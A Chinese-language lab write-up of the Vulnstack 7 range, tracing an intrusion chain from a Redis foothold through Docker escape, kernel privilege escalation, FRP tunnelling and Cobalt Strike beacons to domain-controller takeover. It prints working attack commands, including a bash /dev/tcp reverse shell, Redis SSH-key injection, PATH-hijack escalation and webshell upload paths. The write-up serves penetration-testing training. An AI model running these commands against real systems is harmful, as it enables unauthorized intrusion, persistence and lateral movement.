万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程-CS上线全部Web1/Web2/PC1/PC2/DC

万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程-CS上线全部Web1/Web2/PC1/PC2/DC

目录

一、渗透环境

1、网络拓扑

2、角色表

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

②修改Web2的网卡配置

③修改PC1的网卡配置

(2)配置网段

①编辑虚拟网络编辑器

② vmnet2网卡

③ vmnet14网卡

二、信息搜集

1、探测存活主机

2、探测端口

三、Redis渗透

1、生成ssh私钥

2、查看生成公钥文件

3、写入Redis服务器

(1) 直接连接未授权Redis

(2)写入SSH公钥获取服务器权限

4、ssh连接

5、查看Web1的Nginx配置

四、Laravel渗透(Web2)

1、发现Laravel

2、下载PoC

3、执行PoC上传木马

4、下载哥斯拉

5、连接哥斯拉

6、发现Docker环境

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

(2)哥斯拉(Docker)连接5555端口

(3)Web1反弹shell成功(连接Docker)

2、查找find权限

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

(2)发现源码文件

(3)尝试直接执行shell程序

5、环境变量提权

(1)命令详解

(2)实操提权

6、交互式会话

7、Docker逃逸准备

(1)特权模式检测

(2)查看分区

(3)挂载文件系统

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

(2)向Web2写入公钥

(3)Web1连接Web2的ssh成功

六、Web2提权

1、CVE-2021-3493 PoC下载

2、Web2上创建PoC文件

3、编译执行PoC提权

七、Web1上传Fscan探测内网1

1、上传fscan

2、fscan探测192.168.52.0/24网段

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

(2)kali执行frps

2、客户端(Web跳板机)

(1)配置文件frpc.ini

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

九、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

2、OA工具箱渗透

(1)配置代理

(2)扫描探测

(3)写入木马

3、连接冰蝎木马(冰蝎需要配置代理)

4、发现第二层内网192.168.93.0/24

十、添加路由

1、kali添加路由

2、Web1添加转发功能

3、Web2添加路由

4、PC1添加路由

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

3、使用genCrossC2.Win生成linux beacon

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

十二、CS上线Web2(路由)

1、web2上传baecon

2、web2运行baecon

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

(1)添加cs  http beacon监听

(2)生成木马Payload

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

3、CS上线PC1的baecon

(1)CS上线PC1

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

十四、CS上线DC(PSexec via PC1 smb)

十五、CS上线PC2(PSexec via DC smb)

十六、总结


本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过Redis未授权渗透获取Web1跳板机权限;利用Laravel(CVE-2021-3129)渗透Web2服务器并实现Docker逃逸;配置FRP反向代理连通内网;使用fscan进行内网探测;通过CS工具上线多个内网主机;最终利用永恒之蓝和Psexec/SMB攻陷域控DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径,涉及Redis、Laravel、Docker逃逸等多种渗透技术。具体如下所示。

  • Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问渗透。
  • Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
  • Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。
  • Web2 (内网1) - 渗透利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 渗透。
  • Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
  • Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
  • Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。
  • Kali(攻击机)-Web1 (外网跳板机)  - 反向代理:使用FRP搭建反向代理连通内网1。
  • PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。
  • Kali-Web1-PC1 (内网1)  - 路由转发: 通过添加路由使PC1、Web2与Kali可以互通。
  • Web1 (外网跳板机) - CS上线: 通过向Web1上传baecon并执行,CS上线Web1权限。
  • Web2(内网1)- CS上线:通过向Web2传上传baecon并执行,CS上线Web2权限。
  • PC1 (内网1) - CS上线: 通过向PC1上传baecon并执行,CS上线PC1权限。
  • PC1 (内网1) - 域控信息搜集: 搜集密码信息与域信息,获取域管理员账户密码。
  • DC(内网2) - CS上线: 通过SMB中转会话和PSexec上传DC域控。
  • PC (内网2) -CS上线:通过SMB中转会话和PSexec上传DC域控。

一、渗透环境

1、网络拓扑

外部网络:

  • Kali攻击机:Vmnet8-192.168.59.128
  • DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10

第一层内部网络:

  • Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
  • PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
  • 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

  • 外网突破:Kali 利用 Web1 的 Redis未授权(192.168.52.10) 获得首个立足点。
  • 内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
  • 向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
  • 内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
节点IP地址角色渗透路径中的作用
Kali攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis未授权访问
第一层跳板,连接外网与内网1
Web2服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel应用 & Docker
双网卡网关
第二层跳板,连接内网1与内网2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达OA系统
双网卡主机
辅助跳点,连接内网1与内网2
PC2 (目标)192.168.93.40 (Vmnet14)存在MS17-010(永恒之蓝)内网2核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,存在Psexec/SMB内网2最终攻击目标

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

将桥接的网卡改为NAT和VMnet2,如下所示。

开启redis服务,如下所示。

redis-server /etc/redis.conf

启动Nginx服务

/usr/sbin/nginx -c /etc/nginx/nginx.conf

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

②修改Web2的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

  • sudo service docker start
  • sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示。

http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

③修改PC1的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021

C:\MYOA\bin\AutoConfig.exe

另外,还需关闭这台机器的fw,否则无法访问其8080端口。

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

(2)配置网段

①编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡

将vmnet2网段改为192.168.52.0/24,如下所示。

③ vmnet14网卡

添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24  发现ip地址为192.168.59.141,如下所示。

nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81

nmap –A 192.168.59.141

三、Redis渗透

1、生成ssh私钥

在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。

# 执行密钥生成命令

ssh-keygen -t rsa

2、查看生成公钥文件

进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥(必须严格保密),而~/.ssh/id_rsa.pub是公钥(可以分发),查询公钥内容如下所示。

cat ~/.ssh/id_rsa.pub    

3、写入Redis服务器

(1) 直接连接未授权Redis

使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。

redis-cli –h 192.168.59.141

(2)写入SSH公钥获取服务器权限

将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。

config set dir /root/.ssh/ config set dbfilename authorized_keys set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n" save 

4、ssh连接

ssh [email protected] -i ~/.ssh/id_rsa

为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。

5、查看Web1的Nginx配置

在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。

cd /etc/nginx/conf.d/ cat 81.conf

查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web

2服务器的8000端口。

四、Laravel渗透(Web2)

本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。

1、发现Laravel

我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。

http://192.168.59.141:81

2、下载PoC

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行PoC上传木马

进入PoC所在的目录,执行PoC上传木马,命令如下所示。

python laravel-CVE-2021-3129-EXP.py  http://192.168.59.141:81

这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

4、下载哥斯拉

由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉

通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。

添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。

点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。

6、发现Docker环境

通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。

执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。

(2)哥斯拉(Docker)连接5555端口

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'

(3)Web1反弹shell成功(连接Docker)

如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。

2、查找find权限

在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。

find / -perm -u=s -type f 2>/dev/null

如下所示,我们发现/home/jobs/shell文件,这是一个设置了SUID权限的可执行程序,并且其属主是 root

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。

(2)发现源码文件

由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。

使用命令cat /home/jobs/demo.c查看文件内容并分析,该C程序通过setuid(0)和setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令。具体如下所示。

(3)尝试直接执行shell程序

我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。

5、环境变量提权

(1)命令详解

我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/jobs

./shell

  • 准备恶意程序
    • cd /tmp - 进入可写目录
    • echo "/bin/bash" > ps - 创建一个名为 ps 的文件,内容为 /bin/bash
    • chmod 777 ps - 赋予该文件所有用户可执行权限
  • 劫持系统命令路径
    • echo $PATH - 查看当前系统的命令搜索路径
    • export PATH=/tmp:$PATH - 关键步骤:将 /tmp 目录添加到 PATH 环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在 /tmp 目录下寻找
  • 触发执行并提权
    • cd /home/jobs
    • ./shell - 执行这个SUID程序,

(2)实操提权

执行shell后输入id和whoami,如下所示,提权成功。

当 ./shell 被执行时,以下过程在后台发生:

  • 由于 shell 文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。
  • 假设在这个 shell 程序的代码中,存在类似 system("ps"); 的调用。它需要执行 ps 命令。
  • 程序会向系统请求:“请帮我运行 ps 命令”。
  • 系统收到请求后,继承当前Shell的环境变量(包括已被我们篡改的 PATH),开始寻找名为 ps 的可执行文件。
  • 系统按照 PATH 的顺序查找:
    • 首先在 /tmp 目录中寻找。
    • 立刻找到了我们创建的 /tmp/ps 文件。
    • 查找停止,系统不会再去 /bin 或 /usr/bin 寻找真正的 ps 命令。
  • 系统执行 /tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马 ps)也继承了 root 权限
  • /tmp/ps 文件的内容是 /bin/bash,因此系统实际执行的是 /bin/bash

6、交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker逃逸准备

(1)特权模式检测

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着容器将获得 Linux 内核的所有能力。容器可以访问主机上的所有设备。通过cat /proc/self/status | grep CapEff查看能力值,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。

(2)查看分区

通过fdisk -l获知宿主机磁盘为/dev/sda,具体如下所示。

(3)挂载文件系统

确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

mkdir /ljn mount /dev/sda1 /ljn

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。

ssh-keygen -f ljn

(2)向Web2写入公钥

我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys

​​

(3)Web1连接Web2的ssh成功

Web1使用ssh  -i ljn [email protected]命令连接宿主机,需要先将ljn私钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。

chmod 600 ljn #赋予权限 ssh  -i ljn [email protected]

如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。

六、Web2提权

1、CVE-2021-3493 PoC下载

CVE-2021-3493是Linux内核中的一个高危本地权限提升的安全风险,它主要影响Ubuntu系统。攻击者可以利用此它从普通用户权限提升至root权限。

https://github.com/briskets/CVE-2021-3493

2、Web2上创建PoC文件

首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。

3、编译执行PoC提权

首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该PoC利用程序,通过执行内核级PoC利用代码实现从普通用户到root权限的本地提权,如下所示提权成功

gcc exploit.c -o exploit_ljn chmod +x exploit_ljn ./exploit_ljn 

七、Web1上传Fscan探测内网1

1、上传fscan

由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段

这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测与扫描,旨在快速发现存活主机、开放端口及潜在安全风险。

chmod +x ./fscan_amd64 ./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

八、FRP配置第一层反向代理

1、服务器(KALI攻击机)

(1)配置文件frps.ini

FRP服务端监听端口7000,负责与FRP客户端建立控制通道。

bindPort = 7000

(2)kali执行frps

./frps -c frps.ini

2、客户端(Web跳板机)

  • 核心角色:FRP客户端与服务提供端。
  • 连接配置:指向Kali服务器(server_addr = 192.168.59.128:7000)。
  • 服务定义:创建了一个名为 [socks5] 的代理服务。
    • 类型type = tcp
    • 出口端口remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。
    • 插件plugin = socks5,直接提供Socks5代理协议支持。
  • 功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。

(1)配置文件frpc.ini

 frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件,用于建立 socks5 代理连接至服务端。

[common]

server_addr = 192.168.59.128

server_port = 7000

[socks5]

type = tcp

remote_port = 12347

plugin = socks5

  • socks 端口remote_port = 12347,即通过此端口提供 socks5 代理服务。
  • 代理角色:frp 客户端通过配置的 socks5 插件,结合服务端(地址 192.168.59.128:7000)建立连接,最终由 frp 服务端侧通过 12347 端口对外提供 socks5 代理能力,客户端作为代理的发起和中转节点,服务端则是代理的对外接入点。

(2)向Web1服务器上传frpc文件并执行

3、Kali配置proxychains

配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

九、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透

(1)配置代理

这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)扫描探测

左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马

接下来我们点击“文件上传”,在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)

使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

​URL地址: http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png 密码 rebeyond

如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24

如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

十、添加路由

此时我们已经拿到Web1服务器(跳板机)、Web2服务器(内网1)、PC1(内网1)的控制权。

1、kali添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

2、Web1添加转发功能

sysctl -w net.ipv4.ip_forward=1

3、Web2添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

4、PC1添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

5、Kali与Web2测试连通性

6、Kali与PC1测试连通性

十一、CS监听Web1(直连)

1、创建https监听

2、配置cs插件genCrossC2.Win

确保genCrossC2.Win目录中的key与cs server端的key值相同,需要将服务端key文件复制到genCrossC2.Win目录中,具体操作方法如下所示。

3、使用genCrossC2.Win生成linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out  raw

4、将ljn-10050上传至Web1并运行

5、CS上线Web1

如下所示,Web1上线,内网ip地址为192.168.52.0/24网段.

十二、CS上线Web2(路由)

1、web2上传baecon

在web1的baecon文件ljn-10050.out目录中执行

python3 -m http.server 8888

web2下载ljn-10050.out

2、web2运行baecon

运行ljn-10050.out

3、CS2上线web2

十三、CS上线PC1(路由)

1、CS创建10087监听

(1)添加cs  http beacon监听

添加cs监听器,选择 payload 类型(Beacon HTTP),并配置回连的IP地址(团队服务器的IP地址: 192.168.59.128)和端口(10087,任意不冲突即可)。

(2)生成木马Payload

payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下,选择“Windows可执行文件(Stageless)”,如下图所示。

选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。

这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。

2、PC1执行Baecon

(1)冰蝎上传baecon到PC1

(2)冰蝎执行baecon

mooyuan2008-http-x64.exe

3、CS上线PC1的baecon

(1)CS上线PC1

这一步防止不稳定,可以提权一下

(2)抓取密码

(3)端口扫描

(4)域信息搜集

4、CS创建SMB监听

cs新建SMB监听,如下所示。

点击保存后监听列表中增加ljn-smb监听,如下所示。

十四、CS上线DC(PSexec via PC1 smb)

这步做之前,先还原快照(或者手动打开防火墙),确保环境是原始没有关闭防火墙版本的。

十五、CS上线PC2(PSexec via DC smb)

十六、总结

正常应该都是活动的,我这里因为电脑太卡了,对PC1和PC2、DC关机了,

图示化如下所示。

Read more

前后端跨域处理全指南:Java后端+Vue前端完整解决方案

摘要:本文详细介绍跨域问题的产生原因、浏览器同源策略机制,以及基于Java后端和Vue前端技术栈的多种跨域处理方案。涵盖@CrossOrigin注解、全局CORS配置、过滤器、Spring Security集成、Vue代理配置、Nginx反向代理等多种方案,并提供完整可运行的代码示例,适用于初中级开发者学习参考。 一、跨域基础概念 1.1 什么是跨域? 跨域(Cross-Origin)是指浏览器出于安全考虑,限制从一个域(协议+域名+端口)加载的网页去请求另一个域的资源。当协议、域名或端口三者中有任意一项不同时,就会触发跨域限制。 示例: * http://localhost:3000 → http://localhost:8080(端口不同)❌ 跨域 * http://example.com → https://example.com(协议不同)❌ 跨域 * http://api.example.

【博客之星】GIS老矣尚能饭否?WebGIS项目实战经验与成果展示

【博客之星】GIS老矣尚能饭否?WebGIS项目实战经验与成果展示

目录 一、最前面的话 二、前言  1、关于“夜郎king” 3、GIS的“老骥伏枥” 4、WebGIS的“新程启航” 三、WebGIS技术简介 1、前、后技术简介 2、系统功能架构 四、WebGIS项目应用效果 1、应急灾害 2、交通运输 3、智慧文旅 4、其它项目 五、未来与展望 1、云计算+数据存储 2、GIS+AI融合 一、最前面的话         在这个快速迭代的数字时代,技术如同潮水般汹涌而来。每一次代码的敲击、每一行算法的优化,都是我们探索未知的足迹。技术的力量是背后清晰的思路与逻辑;技术的本质,从来不是冰冷的代码,而是温暖人心的智慧。

【红黑树进阶】手撕STL源码:从零封装RB-tree实现map和set

【红黑树进阶】手撕STL源码:从零封装RB-tree实现map和set

👇点击进入作者专栏: 《算法画解》 ✅ 《linux系统编程》✅ 《C++》 ✅ 文章目录 * 一. 源码及框架分析 * 1.1 STL源码中的设计思想 * 1.2 STL源码框架分析 * 二. 模拟实现map和set(实现复用红黑树的框架) * 2.1 红黑树节点的定义 * 2.2 红黑树的基本框架 * 2.3 解决Key的比较问题:KeyOfT仿函数 * 2.4 支持insert插入 * 2.5 map和set的insert封装 * 三. 迭代器的实现 * 3.1 迭代器结构设计 * 3.2 迭代器的++操作 * 3.3 迭代器的--操作 * 3.4 RBTree中的迭代器接口 * 四. map和set对迭代器的封装 * 4.